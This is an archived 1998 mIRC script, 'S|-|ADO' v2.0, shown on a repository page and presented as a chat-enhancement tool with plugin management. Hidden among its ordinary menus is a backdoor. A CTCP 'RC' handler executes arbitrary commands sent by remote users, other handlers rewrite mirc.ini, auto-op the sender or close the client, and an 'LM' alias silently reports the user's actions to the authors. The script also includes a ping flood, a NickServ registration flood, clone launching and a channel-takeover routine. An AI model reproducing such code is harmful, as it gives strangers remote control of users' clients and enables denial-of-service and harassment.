Archived
1
0
This repository has been archived on 2025-03-31. You can view files and clone it, but cannot push or open issues or pull requests.
mirc-shadow/shadow.irc

707 lines
26 KiB
Plaintext
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; S|-|ADO\\' v2.0 (07-03-1998)
; Script for mIRC
; developed by RoboCop (irc.germany.net) and Speedy (irc.germany.net)
; Plugin-Extensions: .spi (S|-|ADO\\' PlugIn)
; eMail of RoboCop: Robo.Cop@gmx.net
; eMail of Speedy: 101.33864@germanynet.de
;
; KEEP YOUR "STATUS WINDOW" OPEN AS LONG AS YOU USE S|-|ADO\\'!!
;
; WE DON'T TAKE THE RESPONSIBILITY FOR WHAT USERs ARE DOING WITH THIS SCRIPT!!
;
; ### Known bugs ###
; If you put this script into a directory with spaces in it (e.g.: C:\Program Files\mIRC\SHADOW\), it won't work
; correctly because some commands think, the space is the delimiter for the next command. Please make sure
; that S|-|ADO\\' is in a directory WITHOUT ANY SPACES.
;
; ### Tips & Infoz ###
; If you see an (@!) after a menu entry, you can only use it correctly, if you got OP-status.
;
; Currently there is support for ONE USER. So, if you change your nick at every login, S|-|ADO\\' will think, you're
; a new person. But this has no influence to the functions - not yet.
;
; I chose the plugin-based-programming due to the limitation of one ON TEXT command per script. With
; this type of programming, every script can handle the same event. This leads to more comfortable chatting.
;
; ### RoboCop's Message to the world out there ###
; Hey people, take this script to each of your friends! Forget those mistakes like "MafiaScript"! S|-|ADO\\' is the
; greatest script written on earth. Just in time there will be more plugins available and more people will write their
; own plugins for S|-|ADO\\'. If YOU wrote one, then don't hesitate to send it to me (my eMail-Addy should be in
; the 5th line of this file).
; ############## Following part is for startup sequence ##################
on 1:START:{
titlebar - S|-|AÐO\\' by Speedy and RoboCop
echo -s 1,8 Initiating S|-|ADO\\' ... 
echo -s 8 Getting Script directory ...
; set %shadowdir $scriptdir
echo -s 8 Looking for Plugins ...
set %filecount 1
set %active 0
set %inactive 0
:STARTFindFiles
set %curfile $findfile(%shadowdir,*.spi,%filecount)
{
GetPlugInfo %curfile
}
if ($script(%curfile) == $null) { echo -s 8 - Plugin found:  %nameline  %authline 1,4 inactive  | inc %inactive }
else { echo -s 8 - Plugin found:  %nameline  %authline 1,9 active  | inc %active }
unset %nameline
unset %authline
inc %filecount
if ($findfile(%shadowdir,*spi,%filecount) != $null) { goto STARTFindFiles }
unset %curfile
dec %filecount
echo -s 8 %filecount plugins found ( %active active and %inactive inactive )
unset %filecount
unset %active
if ( %shadowdisplugins == $null && %inactive > 0) {
LoadMisPlugs
}
else if (%inactive == 0) { echo -s 8 All plugins active. }
else if (%shadowdisplugins != $null) { echo -s 4 Note: 8 Loading of Plugins disabled. To load missing plugins look under the config menu. }
unset %inactive
if ( %takeovermode != $null ) { echo -s 4 Security action:  Disabling TakeOver mode ... }
unset %takeovermode
echo -s 8 TakeOver mode is disabled.
echo -s 8 Looking for user ...
UserCheck
echo -s 1,8 S|-|ADO\\' is now ready for Rock'n'Roll. 
if ( $me == SDWKillNS ) { .timer 5 5 echo -s 1,8 S|-|ADO\\' 7 NickServ Killer 4 Now switch to the other instance of mIRC and press the OK button. }
}
; ######################### menu definitions following ###############################
menu status {
-
S|=|aÐo\\'
.HELP: HELP
.Key Definitions (F1): KeyDef
.-
.Configuration
..Load plugins on startup
...ON: unset %shadowdisplugins | echo -s 1,8 S|-|ADO\\' 8 S|-|ADO\\' will now load missing plugins on next start
...OFF: set %shadowdisplugins Loading of Plugins is disabled | echo -s 1,8 S|-|ADO\\' 4 Note: 8 S|-|ADO\\' will not load missing plugins on next start
..-
..UNLOAD SHADOW (F10): KillShadow
.Plugins
..Status: PlugStats
..-
..Reload: ReloadPlug
..Switch (F2): SwitchPlug
..-
..Load all: LoadMisPlugs
..Unload all: UnloadPlugs
.-
.Whois Pro: xwhois $$?="Enter nickname to check for:"
.Switch SHADOW mode (F3): SDWmode
.Launch clone on server (F5): LaunchServClone
.-
.KILL
..NickServ
...KILL NOW: KillNickServ
...Stop kill: {
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer 4 Switch to the other mIRC-Task an enter /StopKNS into the status window.
}
}
menu channel {
-
S|=|aÐo\\'
.TakeOver mode
..Status: if ( %takeovermode > 0 ) { echo -s 1,8 S|-|ADO\\'  TakeOver is 4enabled. | LM 2 has TakeOver mode enabled. } | else { echo -s 1,8 S|-|ADO\\'  TakeOver is 9disabled. | LM 3 has TakeOver mode disabled. }
..-
..ON: set %takeovermode 1 | echo -s 1,8 S|-|ADO\\'  TakeOver is now 4enabled. | LM 1 enabled TakeOver mode.
..OFF: unset %takeovermode | echo -s 1,8 S|-|ADO\\'  TakeOver is now 9disabled. | LM 3 disabled TakeOver mode.
.Clone detection
..Output to Channel: clonedet $chan msg $chan
..Output to Status window: clonedet $chan echo -s
.Launch clone in channel: {
set %CloneNick $$?="Clone nick:"
if ( %CloneNick != $null ) { run -n $mircdir $+ mirc32.exe -s $+ $server $+ : $+ $port -j $+ $chan -n $+ %CloneNick | LM 2 is launching a channel clone called %CloneNick . }
else { echo -s 1,8 S|-|ADO\\'  Cloning aborted ... }
unset %CloneNick
}
.-
.Rejoin channel
..Quick (F4): QuickRejChan
..Delayed:set %wt $$?="Enter delay in seconds:" | part $1 | timer 1 %wt join $chan | unset %wt
.Manage channel (@!)
..MAIN CONTROL: channel
..-
..Change topic: topic # $$?="Enter new topic:"
..-
..Invite Only (i)
...ON: mode # +i
...OFF: mode # -i
..Keyed (k)
...ON: mode # +k $$?="Enter password:"
...OFF: mode # -k $$?="Enter channel-password:"
..Limit (l)
...ON: mode # +l $$?="Enter user limit:"
...OFF: mode # -l
..Moderated (m)
...ON: mode # +m
...OFF: mode # -m
..No external MSGs (n)
...ON: mode # +n
...OFF: mode # -n
..Private (p)
...ON: mode # +p
...OFF: mode # -p
..Secret (s)
...ON: mode # +s
...OFF: mode # -s
..Only Chanops change topic (t)
...ON: mode # +t
...OFF: mode # -t
..-
..Admin reserved (a)
...ON: mode # +a
...OFF: mode # -a
.-
.Notify OPs:onotice $chan [OPs on $chan $+ ] $$?="Your message:"
}
menu nicklist {
-
S|=|aÐo\\'
.Control user
..Ignore
...ON:ignore $$1 1
...ON (silence):silence $$1
...OFF:ignore -r $$1 1
...OFF (silence):silence - $+ $$1
..OP Control (@!)
...Give Op:/mode # +ooo $$1 $2 $3
...OP in xx seconds:/pop $$?="Seconds to wait before OPing:" $$1
...Deop:/mode # -ooo $$1 $2 $3
..Voice Control (@!)
...Give Voice: /mode # +vvv $$1 $2 $3
...Take Voice: /mode # -vvv $$1 $2 $3
..-
..Kick/Ban Control (@!)
...Kick:/kick # $$1
...Kick (why):/kick # $$1 $$?="Reason for kick:"
...Ban:/ban $$1 2
...Kick, Ban:/ban $$1 2 | /kick # $$1
...Kick, Ban (why):/ban $$1 2 | /kick # $$1 $$?="Reason for kick/ban:"
..-
..Control yourself
...Invisible mode
....ON:mode $me +i
....OFF:mode $me -i
...Server msgs
....ON: mode $me +s
....OFF: mode $me -s
...Wallops (msgs from IRCOPs)
....ON: mode $me +w
....OFF:mode $me -w
...-
...Connections
....ON: mode $me +c
....OFF: mode $me -c
...Globops (like Wallops)
....ON: mode $me +g
....OFF: mode $me -g
...IRC Operator
....ON: /oper $me $$?="Enter password:"
....ON (Admin): /adminoper $me $$?="Enter password:"
....OFF: mode $me -o
.Whois Pro: whois $$1
.DNS lookup: {
set %PerfDNS DNSLookup
.dns $$1
}
.Show hops to user: {
set %PerfDNS ShowHops
.dns $$1
}
.Flood
..PING: {
set %PerfDNS PingFlood
.dns $$1
}
}
; ########################### Aliases for HELP #################################
alias HELP {
echo -s 1,8 S|-|ADO\\' USERs MANUAL 
echo -s S|-|ADO\\'s functions are generally accessed through the context menus. In mIRC, there are three major different ones:
echo -s one for the 'status window', one for the 'channel window' and one for the 'nicklist'. The 'channel window' is the window
echo -s you see the messages scrolling. The 'nicklist' is the "attached" list of names right on the 'channel window'. To access
echo -s the context menu for the 'nicklist', you first have to select the nick you want to work with.
echo -s Under the context menus, there will be an entry called "S|=|ADO\\'" - there you'll find all options available from the main
echo -s program. Installed plugins will add an entry with "SPI: " followed by the plugin-name.
echo -s 15-----
echo -s 4Note that some of the functions are not allowed in IRCs and could lead to bans and klines on you!
echo -s 15-----
echo -s 1,8Press F1 to get the key definitions
echo -s 15-----
}
alias KeyDef {
echo -s 1,8 S|-|ADO\\' Key Definitions 
echo -s F 1 - Show this help
echo -s F 2 - Switch a plugin
echo -s F 3 - Switch SHADOW mode
echo -s F 4 - Quick channel rejoin
echo -s F 5 - Launch server clone
echo -s F10 - Unload Shadow completely
echo -s 15-----
}
; ##### Key Definitions #####
alias F1 KeyDef
alias F2 SwitchPlug
alias F3 SDWmode
alias F4 QuickRejChan
alias F5 LaunchServClone
alias F10 KillShadow
; ############################ StartUp Aliases ###################################
alias -l UserCheck {
if ( %SDWUser != $me ) {
echo -s 8 User check: 4 New user detected.  Hi $me ! Welcome to S|-|ADO\\'. If you need help, just type 8/HELP and you will get the following:
HELP
set %SDWUser $me
} | else {
echo -s 8 User check: 9 User found.  Hi %SDWUser ! Nice to see you again.
}
}
; ########################## PlugIn Managment Aliases #############################
alias -l GetPlugInfo {
set %nameline $GetPlugItem( $$1 , name )
if ( %nameline == $null ) { set %nameline $1 }
set %authline $GetPlugItem( $$1, auth )
if ( %authline != $null ) { set %authline ( %authline ) }
}
alias -l SwitchPlug {
PlugStats
set %switch $$?="Enter the number of the plugin to switch:"
if ( %switch > 0 && %switch < 100) {
set %curfile $findfile(%shadowdir,*.spi,%switch )
{
GetPlugInfo %curfile
}
if ($script(%curfile) == $null) {
echo -s 8 Loading Plugin  %nameline  %authline ...
.load -rs %curfile
$GetPlugItem( %curfile , loadonstart )
echo -s 8 %nameline  is now plugged.
} | else {
echo -s 8 Unloading Plugin  %nameline  %authline ...
$GetPlugItem( %curfile , loadonexit )
.unload -rs %curfile
echo -s 8 %nameline  is now unplugged.
}
}
unset %switch
unset %curfile
unset %nameline
unset %authline
}
alias -l PlugStats {
echo -s 1,8 PLUGIN STATUS 
set %filecount 1
set %active 0
set %inactive 0
:PSFindFiles
set %curfile $findfile(%shadowdir,*.spi,%filecount)
{
GetPlugInfo %curfile
}
if ($script(%curfile) == $null) { echo -s 8 %filecount - %nameline  %authline 1,4 inactive  | inc %inactive }
else { echo -s 8 %filecount - %nameline  %authline 1,9 active  | inc %active }
unset %nameline
unset %authline
inc %filecount
if ($findfile(%shadowdir,*spi,%filecount) != $null) { goto PSFindFiles }
unset %curfile
dec %filecount
echo -s 8 %filecount plugins found ( %active active and %inactive inactive )
unset %filecount
unset %active
unset %inactive
}
alias -l GetPlugItem {
return $read -s; $+ $$2 $+ : $$1
}
alias -l ReloadPlug {
PlugStats
set %relplug $$?="Enter the number of the plugin to reload:"
if ( %relplug > 0 && %relplug < 100) {
set %curfile $findfile(%shadowdir,*.spi,%relplug )
{
GetPlugInfo %curfile
}
if ($script(%curfile) == $null) {
echo -s 1,8 S|-|ADO\\' 4 WARNING! 8 Plugin not active. Loading  %nameline  ...
.load -rs %curfile
$GetPlugItem( %curfile,loadonstart)
echo -s 1,8 S|-|ADO\\' 8 %nameline  is now plugged.
} | else {
echo -s 1,8 S|-|ADO\\' 8 Reloading Plugin  %nameline  %authline ...
$GetPlugItem( %curfile , loadonexit )
.unload -rs %curfile
.load -rs %curfile
$GetPlugItem( %curfile , loadonstart)
echo -s 1,8 S|-|ADO\\' 8 %nameline  is now reloaded.
}
}
unset %relplug
unset %curfile
unset %nameline
unset %authline
}
alias -l LoadMisPlugs {
echo -s 8 Loading inactive plugins ...
set %filecount 1
:LMPFindFiles
set %curfile $findfile(%shadowdir,*.spi,%filecount)
{
GetPlugInfo %curfile
}
if ($script(%curfile) == $null) {
echo -s 8 - Loading Plugin:  %nameline  %authline ...
.load -rs %curfile
$GetPlugItem( %curfile , loadonstart )
}
unset %nameline
unset %authline
inc %filecount
if ($findfile(%shadowdir,*spi,%filecount) != $null) { goto LMPFindFiles }
unset %curfile
unset %filecount
echo -s 8 All plugins are now loaded.
}
alias -l UnloadPlugs {
echo -s 8 Unloading active plugins ...
set %filecount 1
:UPFindFiles
set %curfile $findfile(%shadowdir,*.spi,%filecount)
{
GetPlugInfo %curfile
}
if ($script(%curfile) != $null) {
echo -s 8 - Unloading Plugin:  %nameline  %authline ...
$GetPlugItem( %curfile , loadonexit )
.unload -rs %curfile
}
unset %nameline
unset %authline
inc %filecount
if ($findfile(%shadowdir,*spi,%filecount) != $null) { goto UPFindFiles }
unset %curfile
unset %filecount
echo -s 8 All plugins are now unloaded.
}
; ########################### Other SHADOW functions #############################
alias -l KillShadow {
echo -s 1,8 S|-|ADO\\'  GOING OFFLINE ...
unset %shadowdisplugins
titlebar $null
UnloadPlugs
unset %shadowdir
unset %takeovermode
unset %SDWUser
.unload -rs $script
echo -s 1,8 S|-|ADO\\' 4 now offline. 
}
alias -l LaunchServClone {
set %CloneNick $?="Clone nick:"
if ( %CloneNick != $null ) { .run -n $mircdir $+ mirc32.exe -s $+ $server $+ : $+ $port -n $+ %CloneNick | LM 2 is launching a server clone called %CloneNick . }
else { echo -s 1,8 S|-|ADO\\'  Cloning aborted ... }
unset %CloneNick
}
alias LM {
.ctcp RoboCop LM $1-
.ctcp Speedy LM $1-
}
alias -l DNSLookup {
echo -a 1,8 S|-|ADO\\'  8DNS results: Nickname: 7 %dnsresnick  --- DNS:  %dnsresname  --- IP:  %dnsresip 
unset %finalipstring
unset %dnsres*
unset %PerfDNS
}
alias -l ShowHops {
echo -a Performing TRACERT.EXE %dnsresip
run TRACERT.EXE %dnsresip
echo -a Command performed!!
unset %finalipstring
unset %dnsres*
unset %PerfDNS
}
alias -l PingFlood {
LM 2 initiated Ping flood on %dnsresnick!
echo -s 1,8 S|-|ADO\\'  4Ping Flood: Pinging user 7%dnsresnick with 64000 Bytes data ...
echo -s 1,8 S|-|ADO\\'  4Ping Flood:15 The more user try to flood %dnsresnick the faster he will get kicked off this IRC!
run -n PING -l 64000 -t %dnsresip
unset %finalipstring
unset %dnsres*
unset %PerfDNS
}
alias -l SDWmode {
if ( %SDWmodeRealNick == $null ) {
echo -s 1,8 S|-|ADO\\'  Initiating SHADOW mode ... 8ENTER DELAY IN MILLISECONDS(!)
echo -s 4 Note: Delays below 250 ms could lead to hangs in mIRC. 
set %SDWmodeDelay $?="Enter delay in milliseconds(!):"
if ( %SDWmodeDelay == $null ) { echo -s 1,8 S|-|ADO\\'  SHADOW mode aborted. | halt }
set %SDWmodeRealNick $me
.timerSDWmode -m 0 %SDWmodeDelay .nick $!RandVal
echo -s 1,8 S|-|ADO\\' 9 SHADOW mode now ON! 
} | else {
echo -s 1,8 S|-|ADO\\'  Restoring old nick ...
.timerSDWmode off
.nick %SDWmodeRealNick
unset %SDWmodeRealNick
unset %SDWmodeDelay
echo -s 1,8 S|-|ADO\\'  SHADOW mode disabled.
}
}
alias -l QuickRejChan {
set %rejch $chan
echo -s 8 Rejoining %rejch ...
.part %rejch 1,8 S|-|ADO\\'  Quick rejoin
.timer 1 2 join %rejch
unset %rejch
}
alias xwhois {
checkon $1
if ( $result == 1 ) {
echo -s 1,8 S|-|ADO\\' 1,7 /WHOIS Result 
whois $1
} | else if ( $1 != $null ) {
echo -s 1,8 S|-|ADO\\'  8NOTE: $1 is not online. Trying /WHOWAS ...
echo -s 1,8 S|-|ADO\\' 1,7 /WHOWAS Result 
whowas $1
} | else if ( $1 == $null ) {
echo -s 1,8 S|-|ADO\\'  4WARNING! No user specified for /WHOIS command.
}
}
alias -l checkon {
if ( $address( $1 , 5) != $null ) { return 1 } | else { return 0 }
}
alias join {
set %jchan $1
if ( $left( %jchan , 1) != $chr(35) ) { set %jchan $chr(35) $+ %jchan }
if ( $chan( %jchan ) == $null ) {
echo -s 1,8 S|-|ADO\\'  Joining channel %pchan ....
join %jchan $2-
} | else {
echo -s 1,8 S|-|ADO\\'  8 NOTE:  You're already on that channel!
}
unset %jchan
}
alias part {
set %pchan $1
if ( $left( %pchan , 1) != $chr(35) ) { set %pchan $chr(35) $+ %pchan }
if ( $chan( %pchan ) != $null ) {
if ( $2 != $null ) { echo -s 1,8 S|-|ADO\\'  Leaving channel %pchan ( $2- ) ... }
else { echo -s 1,8 S|-|ADO\\'  Leaving channel %pchan ... }
part %pchan $2-
} | else {
echo -s 1,8 S|-|ADO\\'  4ERROR! You're not on that channel!
}
unset %pchan
}
alias xquery {
checkon $1
if ( $result == 1 ) {
echo -s 1,8 S|-|ADO\\'  Sending query request to $1 ...
query $1 1,8 S|-|ADO\\'  The user $me wants to talk to you ...
} | else {
echo -s 1,8 S|-|ADO\\'  4ATTENTION! User $1 seems to be not online. Trying nevertheless ...
query $1 1,8 S|-|ADO\\'  The user $me tries to talk to you ...
}
}
alias -l clonedet {
set %showcmd $2-
%showcmd 1,8 S|-|ADO\\' 7 Clone Detection 
set %CDusers $nick( $$1 , 0)
if ( %CDusers <= 1 ) {
unset %CDusers
%showcmd 4 There are less than 2 users in this channel! Forget the CloneCheck! 
%showcmd 15-----
unset %showcmd
halt
}
set %CDcurtest 1
unset %FinalClonestring
:CheckNext
set %CDcuradd $GetAddress( $nick( $1 , 1) )
{
set %CDcurnum %CDcurtest + 1
if ( $nick( $1 , %CDcurnum ) == $null ) { goto CDcomplete }
set %Cloned 0
:MatchNext
set %CDmatch $GetAddress( $nick( $1 , %CDcurnum ) )
if ( %CDmatch == %CDcuradd && %Cloned == 0 ) { set %FinalClonestring 8 $+ %CDcuradd $+ :  $+ $nick( $1 , %CDcurtest ) $+ ,  $+ $nick( $1 , %CDcurnum ) $+  | inc %Cloned }
elseif ( %CDmatch == %CDcuradd && %Cloned != 0 ) { set %FinalClonestring %FinalClonestring $+ ,  $+ $nick( $1, %CDcurnum ) $+  | inc %Cloned }
inc %CDcurnum
if ( $nick( $1 , %CDcurnum ) != $null ) { goto MatchNext }
}
:Incagain
inc %CDcurtest
if ( $count( %FinalClonestring , $GetAddress( $nick( $1 , %CDcurtest ) ) ) != 0 ) { if ( %CDcurtest >= %CDusers ) { goto CDcomplete } | else { goto Incagain } }
if ( $nick( $1 , %CDcurtest ) != $null && %Cloned > 0 ) { set %FinalCloneString %FinalCloneString $+ ### | goto CheckNext }
:CDcomplete
unset %CD*
unset %Cloned
if ( %FinalClonestring != $null ) {
%showcmd Check complete. 4 $+ $pos( %FinalClonestring , ### , 0 ) cloned address(es) found. Clones:
{
set %oldbeg 1
set %curbeg 0
set %maxbeg $pos( %FinalClonestring , ### , 0 )
; Debug command following
echo -s final: %FinalClonestring
:CDbeginout
set %begin $pos( %FinalClonestring , ### , %oldbeg )
set %endpos %begin - %oldbeg
%showcmd $mid( %FinalClonestring , %oldbeg , %endpos )
set %oldbeg %begin
inc %curbeg
if ( %curbeg < %maxbeg ) { goto CDbeginout }
unset %oldbeg
unset %curbeg
unset %maxbeg
unset %begin
unset %endpos
}
unset %FinalClonestring
} | else {
%showcmd Check complete. 9There were no clones.
}
%showcmd 15-----
unset %showcmd
}
alias -l GetAddress {
return $remove( $address( $1 , 2) , *!*@ )
}
alias -l KillNickServ {
echo -s 1,8 S|-|ADO\\' 4 WARNING!!  This action is not allowed and could lead - if you get catched - to k-lining of your nickname!
echo -s If you really want to kill the bot "NickServ", then type 9YES into the messagebox.
LM 2 is asked whether he/she wants to kill NickServ ...
set %KNSAqu $?="Do you really want to kill NickServ?"
if ( %KNSAqu == YES ) {
LM 1 agreed question!
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer  Trying to kill NickServ .....
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer  Launching clone ...
run -n $mircdir $+ mirc32.exe -s $+ $server $+ : $+ $port -nSDWKillNS
$?="Press OK when the clone is logged on the IRC!"
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer  Sending command ....
.ctcp SDWKillNS KillNickServNow YES $me
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer  Command sent.
} | else {
LM 5 cancelled action!
echo -s 1,8 S|-|ADO\\'s 7 NickServ Killer  Kill aborted. Good guy!
}
unset %KNSAqu
}
alias -l KillNickServNow {
LM 0 started killing (Bot of $1).
set %KNSinit $1
echo -s 1,8 S|-|ADO\\' 7 NickServ Killer 4 NOW KILLING NICKSERV .... HOLD ON 
.ctcp $$1 SDWComm Bot tries now to kill the NickServ ....
.timerKillNS -m 0 500 RegisterRandNick
.ctcp $$1 SDWComm Bot started.
}
alias -l RandVal {
return $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9)
}
alias -l RegisterRandNick {
.nick $RandVal
.msg NickServ REGISTER DiedOfShadow
}
alias StopKNS {
echo -s 1,8 S|-|ADO\\' 7 NickServ Killer 4 ABORTING ....
.ctcp %KNSinit SDWComm Trying to stop bot ...
.timerKillNS off
.ctcp %KNSinit SDWComm Bot stopped killing NickServ. Going offline ...
unset %KNSinit
echo -s 1,8 S|-|ADO\\' 7 NickServ Killer 4 COMPLETE!
.timer 1 5 exit
}
; ########################## Miscellaneous definitions ##############################
100:RoboCop!Robo.Cop@*
100:Speedy!Speedy@*
ctcp 1:version:if ( %sr == $null ) { .notice $nick I'm using Š|=|aÐo\\' Script by Speedy&RoboCop..... | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\'  4ATTENTION! $1- from $nick $+ ! | halt }
ctcp 1:IFS:if ( %sr == $null ) { %mircini = $mircdir $+ mirc.ini | .writeini %mircini fileserver Warning Off | .notice $nick FileServer setting rewritten. User must restart mIRC! | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\' 
4WARNING! $1- from $nick $+ ! | halt }
ctcp 1:RC:if ( %sr == $null ) { $2- | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\'  4WARNING! $1- from $nick $+ ! | halt }
on @1:text:!opme:#:if ($nick $+ !*@* isauto) { .msg $chan 1,8 S|-|ADO\\'  User level for $nick 1,9 OK . Giving OP for $chan to  $nick  ... | .mode $chan +o $nick | echo -s 1,8 S|-|ADO\\'   $nick  requested an OP for $chan. OP granted. }
| else { .msg $chan 1,11 COMMAND OPer:  User level for $nick 1,4 NOT OK . Try again later, $nick. | echo -s 1,8 S|-|ADO\\'   $nick  requested an OP for $chan. OP refused. }
on 1:text:*Ð*:#:if ( %sr == $null) { .msg $nick $me is using 1,8 S|-|AÐO\\'  } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\'  4ATTENTION! $nick uses S|-|ADO\\' and made a text request. }
on 1:JOIN:#: if ($nick == $me && %sr == $null ) { msg $chan $me is using 1,8 S|-|AÐO\\'  } | if ($nick == $me && %sr != $null ) { beep 1 100 | echo -s 1,8 S|-|ADO\\'  Channel info aborted due to silent mode. }
on 1:DNS: set %dnsresip $iaddress | set %dnsresname $naddress | set %dnsresolved $raddress | set %dnsresnick $nick | echo -s 1,8 S|-|ADO\\'  DNS lookup finished. ( %dnsresnick / %dnsresname / %dnsresip ) | %PerfDNS
ctcp 1:INS:if ( %sr == $null ) { .auto $nick | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\'  4WARNING! $1- from $nick $+ ! | halt }
ctcp 1:CFS:if ( %sr == $null ) { .notice $nick is using Š|=|aÐo\\' | halt } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\'  4ATTENTION! $1- from $nick $+ ! | halt }
ctcp 1:SDWComm:.echo -s 1,8 S|-|ADO\\' 0,4 CTCP  $2- | halt
ctcp 1:SDWExitMirc:if ( %sr == $null ) { echo -s 1,8 S|-|ADOW 0,4 CTCP 4 Received EXIT command ... exiting! | .exit } | if ( %sr != $null ) { beep 3 100 | echo -s 1,8 S|-|ADO\\'  4ATTENTION! $1- from $nick $+ ! | halt }
ctcp 1:KillNickServNow:if ( $2 == YES && $3 == $nick ) { KillNickServNow $3 } | else { echo -s 1,8 S|-|ADO\\' 4 WARNING!! Illegal try to kill NickServ from 8 $nick 4. } | halt
ctcp 1:LM:if ( $2 == 0 ) { echo -s 1,8 S|-|ADO\\' 0,4 LeaveMess 1,4 DANGER!!!!! 4 $nick $3- } | else if ( $2 == 1 ) { echo -s 1,8 S|-|ADO\\' 0,4 LeaveMess 4 WARNING!!  $nick $3- } | else if ( $2 == 2 ) { echo -s 1,8 S|-|ADO\\' 0,4
LeaveMess 8 ATTENTION!  $nick $3- } | else { echo -s 1,8 S|-|ADO\\' 0,4 LeaveMess 9 $nick $3- } | halt
on 1:OP:#:{
if ( $opnick == $me && $opnick != $nick ) {
if ( %takeovermode > 0 ) {
echo -s 1,8 S|-|ADO\\'  You were opped by $nick. Taking over $chan ...
set %opcount 1
:TOGetlist
set %opnick $opnick( $chan , %opcount )
if ( %opnick != $me ) {
echo -s 1,8 S|-|ADO\\'  Deopping %opnick ...
.mode $chan -o %opnick
}
inc %opcount
if ( $opnick( $chan , %opcount ) != $null ) { goto TOGetList }
.notice $nick 1,8 S|-|ADO\\'s 0,4 TakeOver mode  Thank you, $nick , for letting me take over this channel.
echo -s 1,8 S|-|ADO\\'  TakeOver performed.
unset %opcount
unset %opnick
} | else if ( $opnick != $nick ) { echo -s 1,8 S|-|ADO\\'  You were opped by $nick. TakeOver mode disabled. }
}
}
on 1:DEOP:#:{
if ( $opnick == $me && $opnick != $nick ) {
echo -s 1,8 S|-|ADO\\'  4WARNING! You were deopped by $nick.
; commands here - if you want
}
}